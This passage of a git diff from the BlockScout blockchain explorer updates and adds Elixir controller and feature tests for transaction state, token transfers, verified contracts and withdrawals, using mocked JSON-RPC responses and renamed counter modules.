Application.put_env(:indexer, Indexer.Fetcher.OnDemand.CoinBalance.Supervisor, disabled?: false) + + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + + Indexer.Fetcher.OnDemand.CoinBalance.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: mocked_json_rpc_named_arguments + ) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.OnDemand.CoinBalance.Supervisor, configuration) + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + end) + end + + describe "GET index/3" do + test "loads existing transaction", %{conn: conn} do + transaction = insert(:transaction) + conn = get(conn, transaction_state_path(conn, :index, transaction.hash)) + + assert html_response(conn, 200) + end + + test "with missing transaction", %{conn: conn} do + hash = transaction_hash() + conn = get(conn, transaction_state_path(BlockScoutWeb.Endpoint, :index, hash)) + + assert html_response(conn, 404) + end + + test "with invalid transaction hash", %{conn: conn} do + conn = get(conn, transaction_state_path(BlockScoutWeb.Endpoint, :index, "nope")) + + assert html_response(conn, 422) + end + + test "with duplicated from, to or miner fields", %{conn: conn} do + address = insert(:address) + to_address = insert(:address) + insert(:block) + block = insert(:block, miner: address) + + insert(:fetched_balance, + address_hash: address.hash, + value: 1_000_000, + block_number: block.number - 1 + ) + + insert(:fetched_balance, + address_hash: to_address.hash, + value: 1_000_000, + block_number: block.number - 1 + ) + + transaction = + insert(:transaction, from_address: address, to_address: to_address) |> with_block(block, status: :ok) + + conn = get(conn, transaction_state_path(conn, :index, transaction), %{type: "JSON"}) + {:ok, %{"items" => items}} = conn.resp_body |> Poison.decode() + + assert(items |> Enum.filter(fn item -> item != nil end) |> length() == 2) + end + + test "returns state changes for the transaction with contract creation", %{conn: conn} do + block = insert(:block) + + contract_address = insert(:contract_address) + + transaction = + :transaction + |> insert(to_address: nil) + |> with_contract_creation(contract_address) + |> with_block(insert(:block)) + + insert(:fetched_balance, + address_hash: transaction.from_address_hash, + value: 1_000_000, + block_number: block.number + ) + + insert(:fetched_balance, + address_hash: transaction.block.miner_hash, + value: 1_000_000, + block_number: block.number + ) + + conn = get(conn, transaction_state_path(conn, :index, transaction), %{type: "JSON"}) + {:ok, %{"items" => items}} = conn.resp_body |> Poison.decode() + + assert(items |> Enum.filter(fn item -> item != nil end) |> length() == 2) + end + + test "returns fetched state changes for the transaction with token transfer", %{conn: conn} do + block = insert(:block) + address_a = insert(:address) + address_b = insert(:address) + token = insert(:token, type: "ERC-20") + + insert(:fetched_balance, + address_hash: address_a.hash, + value: 1_000_000_000_000_000_000, + block_number: block.number + ) + + insert(:fetched_balance, + address_hash: address_b.hash, + value: 2_000_000_000_000_000_000, + block_number: block.number + ) + + transaction = + :transaction + |> insert(from_address: address_a, to_address: address_b, value: 1000) + |> with_block(status: :ok) + + insert(:fetched_balance, + address_hash: transaction.block.miner_hash, + value: 2_500_000, + block_number: block.number + ) + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token: token, + token_contract_address: token.contract_address + ) + + insert( + :token_balance, + address: token_transfer.from_address, + token: token, + token_contract_address_hash: token.contract_address_hash, + value: 3_000_000, + block_number: block.number + ) + + insert( + :token_balance, + address: token_transfer.to_address, + token: token, + token_contract_address_hash: token.contract_address_hash, + value: 1000, + block_number: block.number + ) + + # to check if we can display transaction overview + get(conn, transaction_state_path(conn, :index, transaction)) + conn = get(conn, transaction_state_path(conn, :index, transaction), %{type: "JSON"}) + + {:ok, %{"items" => items}} = conn.resp_body |> Poison.decode() + full_text = Enum.join(items) + + assert(String.contains?(full_text, format_wei_value(%Wei{value: Decimal.new(1, 1, 18)}, :ether))) + + assert(String.contains?(full_text, format_wei_value(%Wei{value: Decimal.new(1, 2, 18)}, :ether))) + + assert(length(items) == 5) + end + + test "fetch coin balances if needed", %{conn: conn} do + json_rpc_named_arguments = Application.fetch_env!(:indexer, :json_rpc_named_arguments) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + EthereumJSONRPC.Mox + |> stub(:json_rpc, fn + [%{id: id, method: "eth_getBalance", params: _}], _options -> + {:ok, [%{id: id, result: integer_to_quantity(123)}]} + + [%{id: id, method: "eth_getBlockByNumber", params: _}], _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: %{ + "author" => "0x0000000000000000000000000000000000000000", + "difficulty" => "0x20000", + "extraData" => "0x", + "gasLimit" => "0x663be0", + "gasUsed" => "0x0", + "hash" => "0x5b28c1bfd3a15230c9a46b399cd0f9a6920d432e85381cc6a140b06e8410112f", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0x0000000000000000000000000000000000000000", + "number" => integer_to_quantity(1), + "parentHash" => "0x0000000000000000000000000000000000000000000000000000000000000000", + "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "sealFields" => [ + "0x80", + "0xb8410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "size" => "0x215", + "stateRoot" => "0xfad4af258fd11939fae0c6c6eec9d340b1caac0b0196fd9a1bc3f489c5bf00b3", + "step" => "0", + "timestamp" => "0x0", + "totalDifficulty" => "0x20000", + "transactions" => [], + "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "uncles" => [] + } + } + ]} + end) + + insert(:block) + insert(:block) + address_a = insert(:address) + address_b = insert(:address) + + transaction = + :transaction + |> insert(from_address: address_a, to_address: address_b, value: 1000) + |> with_block(status: :ok) + + conn = get(conn, transaction_state_path(conn, :index, transaction), %{type: "JSON"}) + + {:ok, %{"items" => items}} = conn.resp_body |> Poison.decode() + full_text = Enum.join(items) + + assert(length(items) == 3) + assert(String.contains?(full_text, format_wei_value(%Wei{value: Decimal.new(0)}, :ether))) + + 1 |> :timer.seconds() |> :timer.sleep() + conn = get(conn, transaction_state_path(conn, :index, transaction), %{type: "JSON"}) + {:ok, %{"items" => items}} = conn.resp_body |> Poison.decode() + full_text = Enum.join(items) + assert(String.contains?(full_text, format_wei_value(%Wei{value: Decimal.new(123)}, :ether))) + assert(length(items) == 3) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/transaction_token_transfer_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/transaction_token_transfer_controller_test.exs index 6b789a2d0f4c..4d41f24a26ad 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/transaction_token_transfer_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/transaction_token_transfer_controller_test.exs @@ -3,17 +3,15 @@ defmodule BlockScoutWeb.TransactionTokenTransferControllerTest do import Mox - import BlockScoutWeb.WebRouter.Helpers, only: [transaction_token_transfer_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [transaction_token_transfer_path: 3] - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token + alias Explorer.TestHelper + + setup :verify_on_exit! describe "GET index/3" do test "load token transfers", %{conn: conn} do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{id: _id, method: "net_version", params: []}, _options -> - {:ok, "100"} - end) - transaction = insert(:transaction) token_transfer = insert(:token_transfer, transaction: transaction) @@ -55,9 +53,17 @@ defmodule BlockScoutWeb.TransactionTokenTransferControllerTest do test "includes token transfers for the transaction", %{conn: conn} do transaction = insert(:transaction) |> with_block() - insert(:token_transfer, transaction: transaction, block: transaction.block, block_number: transaction.block_number) + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) - insert(:token_transfer, transaction: transaction, block: transaction.block, block_number: transaction.block_number) + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) path = transaction_token_transfer_path(BlockScoutWeb.Endpoint, :index, transaction.hash) @@ -71,11 +77,6 @@ defmodule BlockScoutWeb.TransactionTokenTransferControllerTest do end test "includes USD exchange rate value for address in assigns", %{conn: conn} do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{id: _id, method: "net_version", params: []}, _options -> - {:ok, "100"} - end) - transaction = insert(:transaction) conn = get(conn, transaction_token_transfer_path(BlockScoutWeb.Endpoint, :index, transaction.hash)) @@ -159,51 +160,7 @@ defmodule BlockScoutWeb.TransactionTokenTransferControllerTest do test "preloads to_address smart contract verified", %{conn: conn} do EthereumJSONRPC.Mox - |> expect( - :json_rpc, - fn %{ - id: _id, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end - ) - |> expect( - :json_rpc, - fn %{ - id: _id, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end - ) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{id: _id, method: "net_version", params: []}, _options -> - {:ok, "100"} - end) + |> TestHelper.mock_generic_proxy_requests() transaction = insert(:transaction_to_verified_contract) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/verified_contracts_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/verified_contracts_controller_test.exs new file mode 100644 index 000000000000..3c9d077903ad --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/verified_contracts_controller_test.exs @@ -0,0 +1,179 @@ +defmodule BlockScoutWeb.VerifiedContractsControllerTest do + use BlockScoutWeb.ConnCase + + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [verified_contracts_path: 2, verified_contracts_path: 3] + + alias Explorer.Chain.SmartContract + + alias Explorer.Chain.Cache.Counters.{ + ContractsCount, + NewContractsCount, + NewVerifiedContractsCount, + VerifiedContractsCount + } + + describe "GET index/2" do + test "returns 200", %{conn: conn} do + start_supervised!(ContractsCount) + ContractsCount.consolidate() + start_supervised!(NewContractsCount) + NewContractsCount.consolidate() + start_supervised!(NewVerifiedContractsCount) + NewVerifiedContractsCount.consolidate() + start_supervised!(VerifiedContractsCount) + VerifiedContractsCount.consolidate() + + conn = get(conn, verified_contracts_path(conn, :index)) + + assert html_response(conn, 200) + end + + test "returns all contracts", %{conn: conn} do + insert_list(4, :smart_contract) + + conn = get(conn, verified_contracts_path(conn, :index), %{"type" => "JSON"}) + + items = Map.get(json_response(conn, 200), "items") + + assert length(items) == 4 + end + + test "returns next page of results based on last verified contract", %{conn: conn} do + insert_list(50, :smart_contract) + + contract = insert(:smart_contract) + + conn = + get(conn, verified_contracts_path(conn, :index), %{ + "type" => "JSON", + "smart_contract_id" => Integer.to_string(contract.id) + }) + + items = Map.get(json_response(conn, 200), "items") + + assert length(items) == 50 + end + + test "next_page_path exist if not on last page", %{conn: conn} do + %SmartContract{id: id} = + 60 + |> insert_list(:smart_contract) + |> Enum.sort_by(& &1.id, :asc) + |> Enum.fetch!(10) + + conn = get(conn, verified_contracts_path(conn, :index), %{"type" => "JSON"}) + + expected_path = + verified_contracts_path(conn, :index, + id: id, + items_count: "50" + ) + + assert Map.get(json_response(conn, 200), "next_page_path") == expected_path + end + + test "next_page_path is empty if on last page", %{conn: conn} do + insert(:smart_contract) + + conn = get(conn, verified_contracts_path(conn, :index), %{"type" => "JSON"}) + + refute conn |> json_response(200) |> Map.get("next_page_path") + end + + test "returns solidity contracts", %{conn: conn} do + insert(:smart_contract, is_vyper_contract: true, language: nil) + + %SmartContract{address_hash: solidity_hash} = + insert(:smart_contract, is_vyper_contract: false, language: nil) + + path = + verified_contracts_path(conn, :index, %{ + "filter" => "solidity", + "type" => "JSON" + }) + + conn = get(conn, path) + + [smart_contracts_tile] = json_response(conn, 200)["items"] + + assert String.contains?(smart_contracts_tile, "data-identifier-hash=\"#{to_string(solidity_hash)}\"") + end + + test "returns vyper contract", %{conn: conn} do + %SmartContract{address_hash: vyper_hash} = + insert(:smart_contract, is_vyper_contract: true, language: nil) + + insert(:smart_contract, is_vyper_contract: false, language: nil) + + path = + verified_contracts_path(conn, :index, %{ + "filter" => "vyper", + "type" => "JSON" + }) + + conn = get(conn, path) + + [smart_contracts_tile] = json_response(conn, 200)["items"] + + assert String.contains?(smart_contracts_tile, "data-identifier-hash=\"#{to_string(vyper_hash)}\"") + end + + test "returns yul contract", %{conn: conn} do + %SmartContract{address_hash: yul_hash} = + insert(:smart_contract, abi: nil, language: nil) + + insert(:smart_contract, language: nil) + + path = + verified_contracts_path(conn, :index, %{ + "filter" => "yul", + "type" => "JSON" + }) + + conn = get(conn, path) + + [smart_contracts_tile] = json_response(conn, 200)["items"] + + assert String.contains?(smart_contracts_tile, "data-identifier-hash=\"#{to_string(yul_hash)}\"") + end + + test "returns search results by name", %{conn: conn} do + insert(:smart_contract) + insert(:smart_contract) + insert(:smart_contract) + contract_name = "qwertyufhgkhiop" + %SmartContract{address_hash: hash} = insert(:smart_contract, name: contract_name) + + path = + verified_contracts_path(conn, :index, %{ + "search" => contract_name, + "type" => "JSON" + }) + + conn = get(conn, path) + + [smart_contracts_tile] = json_response(conn, 200)["items"] + + assert String.contains?(smart_contracts_tile, "data-identifier-hash=\"#{to_string(hash)}\"") + end + + test "returns search results by address", %{conn: conn} do + insert(:smart_contract) + insert(:smart_contract) + insert(:smart_contract) + %SmartContract{address_hash: hash} = insert(:smart_contract) + + path = + verified_contracts_path(conn, :index, %{ + "search" => to_string(hash), + "type" => "JSON" + }) + + conn = get(conn, path) + + [smart_contracts_tile] = json_response(conn, 200)["items"] + + assert String.contains?(smart_contracts_tile, "data-identifier-hash=\"#{to_string(hash)}\"") + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/withdrawal_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/withdrawal_controller_test.exs new file mode 100644 index 000000000000..c152318a1cc5 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/withdrawal_controller_test.exs @@ -0,0 +1,56 @@ +defmodule BlockScoutWeb.WithdrawalControllerTest do + use BlockScoutWeb.ConnCase + + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [withdrawal_path: 2, withdrawal_path: 3] + + alias Explorer.Chain.Withdrawal + + describe "GET index/2" do + test "returns all withdrawals", %{conn: conn} do + insert_list(4, :withdrawal) + + conn = get(conn, withdrawal_path(conn, :index), %{"type" => "JSON"}) + + items = Map.get(json_response(conn, 200), "items") + + assert length(items) == 4 + end + + test "returns next page of results based on last withdrawal", %{conn: conn} do + insert_list(50, :withdrawal) + + withdrawal = insert(:withdrawal) + + conn = + get(conn, withdrawal_path(conn, :index), %{ + "type" => "JSON", + "index" => Integer.to_string(withdrawal.index) + }) + + items = Map.get(json_response(conn, 200), "items") + + assert length(items) == 50 + end + + test "next_page_path exist if not on last page", %{conn: conn} do + %Withdrawal{index: index} = + 60 + |> insert_list(:withdrawal) + |> Enum.fetch!(10) + + conn = get(conn, withdrawal_path(conn, :index), %{"type" => "JSON"}) + + expected_path = withdrawal_path(conn, :index, index: index, items_count: "50") + + assert Map.get(json_response(conn, 200), "next_page_path") == expected_path + end + + test "next_page_path is empty if on last page", %{conn: conn} do + insert(:withdrawal) + + conn = get(conn, withdrawal_path(conn, :index), %{"type" => "JSON"}) + + refute conn |> json_response(200) |> Map.get("next_page_path") + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/features/address_contract_verification_test.exs b/apps/block_scout_web/test/block_scout_web/features/address_contract_verification_test.exs index 1a82a6deddd2..f8451c62ffaf 100644 --- a/apps/block_scout_web/test/block_scout_web/features/address_contract_verification_test.exs +++ b/apps/block_scout_web/test/block_scout_web/features/address_contract_verification_test.exs @@ -8,12 +8,22 @@ defmodule BlockScoutWeb.AddressContractVerificationTest do setup do bypass = Bypass.open() + configuration = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, enabled: false) + Application.put_env(:explorer, :solc_bin_api_url, "http://localhost:#{bypass.port}") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + {:ok, bypass: bypass} end - # wallaby with chrome headles always fails this test + # wallaby with chrome headless always fails this test @tag :skip test "users validates smart contract", %{session: session, bypass: bypass} do Bypass.expect(bypass, fn conn -> Conn.resp(conn, 200, solc_bin_versions()) end) diff --git a/apps/block_scout_web/test/block_scout_web/features/pages/transaction_logs_page.ex b/apps/block_scout_web/test/block_scout_web/features/pages/transaction_logs_page.ex index 3969cd559cae..cd0dc88da8c7 100644 --- a/apps/block_scout_web/test/block_scout_web/features/pages/transaction_logs_page.ex +++ b/apps/block_scout_web/test/block_scout_web/features/pages/transaction_logs_page.ex @@ -4,7 +4,7 @@ defmodule BlockScoutWeb.TransactionLogsPage do use Wallaby.DSL import Wallaby.Query, only: [css: 1, css: 2] - import BlockScoutWeb.WebRouter.Helpers, only: [transaction_log_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [transaction_log_path: 3] alias Explorer.Chain.Transaction alias BlockScoutWeb.Endpoint diff --git a/apps/block_scout_web/test/block_scout_web/features/viewing_addresses_test.exs b/apps/block_scout_web/test/block_scout_web/features/viewing_addresses_test.exs index 0cab258891e3..9dac716e910c 100644 --- a/apps/block_scout_web/test/block_scout_web/features/viewing_addresses_test.exs +++ b/apps/block_scout_web/test/block_scout_web/features/viewing_addresses_test.exs @@ -3,7 +3,7 @@ defmodule BlockScoutWeb.ViewingAddressesTest do # Because ETS tables is shared for `Explorer.Counters.*` async: false - alias Explorer.Counters.AddressesCounter + alias Explorer.Chain.Cache.Counters.AddressesCount alias BlockScoutWeb.{AddressPage, AddressView, Notifier} setup do @@ -64,8 +64,8 @@ defmodule BlockScoutWeb.ViewingAddressesTest do [first_address | _] = addresses [last_address | _] = Enum.reverse(addresses) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() session |> AddressPage.visit_page() @@ -79,7 +79,7 @@ defmodule BlockScoutWeb.ViewingAddressesTest do session |> AddressPage.visit_page(address) - |> assert_text(AddressPage.balance(), "0.0000000000000005 Ether") + |> assert_text(AddressPage.balance(), "0.0000000000000005 ETH") end describe "viewing contract creator" do diff --git a/apps/block_scout_web/test/block_scout_web/features/viewing_app_test.exs b/apps/block_scout_web/test/block_scout_web/features/viewing_app_test.exs index 83877c8e460a..fabb2a59a66c 100644 --- a/apps/block_scout_web/test/block_scout_web/features/viewing_app_test.exs +++ b/apps/block_scout_web/test/block_scout_web/features/viewing_app_test.exs @@ -5,13 +5,13 @@ defmodule BlockScoutWeb.ViewingAppTest do # alias BlockScoutWeb.AppPage # alias BlockScoutWeb.Counters.BlocksIndexedCounter - # alias Explorer.Counters.AddressesCounter + # alias Explorer.Chain.Cache.Counters.AddressesCount # alias Explorer.{Repo} # alias Explorer.Chain.PendingBlockOperation # setup do - # start_supervised!(AddressesCounter) - # AddressesCounter.consolidate() + # start_supervised!(AddressesCount) + # AddressesCount.consolidate() # :ok # end @@ -27,9 +27,9 @@ defmodule BlockScoutWeb.ViewingAppTest do # |> insert() # |> with_block(block) - # assert Decimal.compare(Explorer.Chain.indexed_ratio(), Decimal.from_float(0.5)) == :eq + # assert Decimal.compare(Explorer.Chain.indexed_ratio_blocks(), Decimal.from_float(0.5)) == :eq - # insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + # insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) # session # |> AppPage.visit_page() @@ -46,13 +46,13 @@ defmodule BlockScoutWeb.ViewingAppTest do # |> insert() # |> with_block(block) - # assert Decimal.compare(Explorer.Chain.indexed_ratio(), 1) == :eq + # assert Decimal.compare(Explorer.Chain.indexed_ratio_blocks(), 1) == :eq - # insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + # insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) # session # |> AppPage.visit_page() - # |> assert_has(AppPage.indexed_status("Indexing Tokens")) + # |> assert_has(AppPage.indexed_status("Indexing Internal Transactions")) # end # test "updates blocks indexed percentage", %{session: session} do @@ -67,9 +67,9 @@ defmodule BlockScoutWeb.ViewingAppTest do # BlocksIndexedCounter.calculate_blocks_indexed() - # assert Decimal.compare(Explorer.Chain.indexed_ratio(), Decimal.from_float(0.5)) == :eq + # assert Decimal.compare(Explorer.Chain.indexed_ratio_blocks(), Decimal.from_float(0.5)) == :eq - # insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + # insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) # session # |> AppPage.visit_page() @@ -96,7 +96,7 @@ defmodule BlockScoutWeb.ViewingAppTest do # assert Decimal.compare(Explorer.Chain.indexed_ratio(), Decimal.from_float(0.9)) == :eq - # insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + # insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) # session # |> AppPage.visit_page() @@ -106,7 +106,7 @@ defmodule BlockScoutWeb.ViewingAppTest do # BlocksIndexedCounter.calculate_blocks_indexed() - # assert_has(session, AppPage.indexed_status("Indexing Tokens")) + # assert_has(session, AppPage.indexed_status("Indexing Internal Transactions")) # end # test "removes message when chain is indexed", %{session: session} do @@ -121,20 +121,15 @@ defmodule BlockScoutWeb.ViewingAppTest do # block_hash = block.hash - # insert(:pending_block_operation, block_hash: block_hash, fetch_internal_transactions: true) + # insert(:pending_block_operation, block_hash: block_hash, block_number: block.number) # BlocksIndexedCounter.calculate_blocks_indexed() - # assert Decimal.compare(Explorer.Chain.indexed_ratio(), 1) == :eq + # assert Decimal.compare(Explorer.Chain.indexed_ratio_blocks(), 1) == :eq # session # |> AppPage.visit_page() - # |> assert_has(AppPage.indexed_status("Indexing Tokens")) - - # Repo.update_all( - # from(p in PendingBlockOperation, where: p.block_hash == ^block_hash), - # set: [fetch_internal_transactions: false] - # ) + # |> assert_has(AppPage.indexed_status("Indexing Internal Transactions")) # BlocksIndexedCounter.calculate_blocks_indexed() diff --git a/apps/block_scout_web/test/block_scout_web/features/viewing_blocks_test.exs b/apps/block_scout_web/test/block_scout_web/features/viewing_blocks_test.exs index c1f6688d4d0d..914ef68edb16 100644 --- a/apps/block_scout_web/test/block_scout_web/features/viewing_blocks_test.exs +++ b/apps/block_scout_web/test/block_scout_web/features/viewing_blocks_test.exs @@ -174,7 +174,8 @@ defmodule BlockScoutWeb.ViewingBlocksTest do describe "viewing reorg blocks list" do test "lists uncle blocks", %{session: session} do - [reorg | _] = insert_list(10, :block, consensus: false) + [reorg | _] = blocks = insert_list(10, :block, consensus: false) + Enum.each(blocks, fn b -> insert(:block, number: b.number, consensus: true) end) session |> BlockListPage.visit_reorgs_page() diff --git a/apps/block_scout_web/test/block_scout_web/features/viewing_chain_test.exs b/apps/block_scout_web/test/block_scout_web/features/viewing_chain_test.exs index 3a14474c2cab..0b12f012b9e8 100644 --- a/apps/block_scout_web/test/block_scout_web/features/viewing_chain_test.exs +++ b/apps/block_scout_web/test/block_scout_web/features/viewing_chain_test.exs @@ -7,7 +7,7 @@ defmodule BlockScoutWeb.ViewingChainTest do alias BlockScoutWeb.{AddressPage, BlockPage, ChainPage, TransactionPage} alias Explorer.Chain.Block - alias Explorer.Counters.AddressesCounter + alias Explorer.Chain.Cache.Counters.AddressesCount setup do Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) @@ -35,8 +35,8 @@ defmodule BlockScoutWeb.ViewingChainTest do test "search for address", %{session: session} do address = insert(:address) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() session |> ChainPage.visit_page() @@ -49,8 +49,8 @@ defmodule BlockScoutWeb.ViewingChainTest do test "search for blocks from chain page", %{session: session} do block = insert(:block, number: 6) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() session |> ChainPage.visit_page() @@ -59,8 +59,8 @@ defmodule BlockScoutWeb.ViewingChainTest do end test "blocks list", %{session: session} do - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() session |> ChainPage.visit_page() @@ -70,8 +70,8 @@ defmodule BlockScoutWeb.ViewingChainTest do test "inserts place holder blocks on render for out of order blocks", %{session: session} do insert(:block, number: 409) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() session |> ChainPage.visit_page() @@ -88,8 +88,8 @@ defmodule BlockScoutWeb.ViewingChainTest do insert(:transaction) |> with_block(block) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() session |> ChainPage.visit_page() @@ -98,8 +98,8 @@ defmodule BlockScoutWeb.ViewingChainTest do end test "transactions list", %{session: session} do - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() session |> ChainPage.visit_page() @@ -115,8 +115,8 @@ defmodule BlockScoutWeb.ViewingChainTest do |> with_contract_creation(contract_address) |> with_block(block) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() session |> ChainPage.visit_page() @@ -133,7 +133,7 @@ defmodule BlockScoutWeb.ViewingChainTest do transaction = :transaction |> insert(to_address: contract_token_address) - |> with_block(block) + |> with_block(block, status: :ok) insert_list( 3, @@ -143,8 +143,8 @@ defmodule BlockScoutWeb.ViewingChainTest do block: block ) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() ChainPage.visit_page(session) diff --git a/apps/block_scout_web/test/block_scout_web/features/viewing_transactions_test.exs b/apps/block_scout_web/test/block_scout_web/features/viewing_transactions_test.exs index 33c8fe9e88fa..9931bd43a5d9 100644 --- a/apps/block_scout_web/test/block_scout_web/features/viewing_transactions_test.exs +++ b/apps/block_scout_web/test/block_scout_web/features/viewing_transactions_test.exs @@ -28,7 +28,7 @@ defmodule BlockScoutWeb.ViewingTransactionsTest do taft = insert(:address) # From Lincoln to Taft. - txn_from_lincoln = + transaction_from_lincoln = :transaction |> insert(from_address: lincoln, to_address: taft) |> with_block(block) @@ -66,7 +66,7 @@ defmodule BlockScoutWeb.ViewingTransactionsTest do lincoln: lincoln, taft: taft, transaction: transaction, - txn_from_lincoln: txn_from_lincoln + transaction_from_lincoln: transaction_from_lincoln }} end @@ -83,7 +83,7 @@ defmodule BlockScoutWeb.ViewingTransactionsTest do |> refute_has(TransactionListPage.transaction(pending)) end - test "viewing the pending tranasctions list", %{ + test "viewing the pending transactions list", %{ pending: pending, pending_contract: pending_contract, session: session diff --git a/apps/block_scout_web/test/block_scout_web/schema/query/address_test.exs b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/address_test.exs similarity index 91% rename from apps/block_scout_web/test/block_scout_web/schema/query/address_test.exs rename to apps/block_scout_web/test/block_scout_web/graphql/schema/query/address_test.exs index 134d1b7f349f..3b0c3fec22a0 100644 --- a/apps/block_scout_web/test/block_scout_web/schema/query/address_test.exs +++ b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/address_test.exs @@ -1,4 +1,4 @@ -defmodule BlockScoutWeb.Schema.Query.AddressTest do +defmodule BlockScoutWeb.GraphQL.Schema.Query.AddressTest do use BlockScoutWeb.ConnCase describe "address field" do @@ -18,7 +18,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do variables = %{"hash" => to_string(address.hash)} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -45,7 +45,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do variables = %{"hash" => to_string(address.hash)} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -78,7 +78,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do variables = %{"hash" => to_string(address.hash)} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -110,7 +110,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do variables = %{"hash" => to_string(address.hash)} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert %{"errors" => [error]} = json_response(conn, 200) assert error["message"] =~ ~s(Address not found.) @@ -127,7 +127,7 @@ defmodule 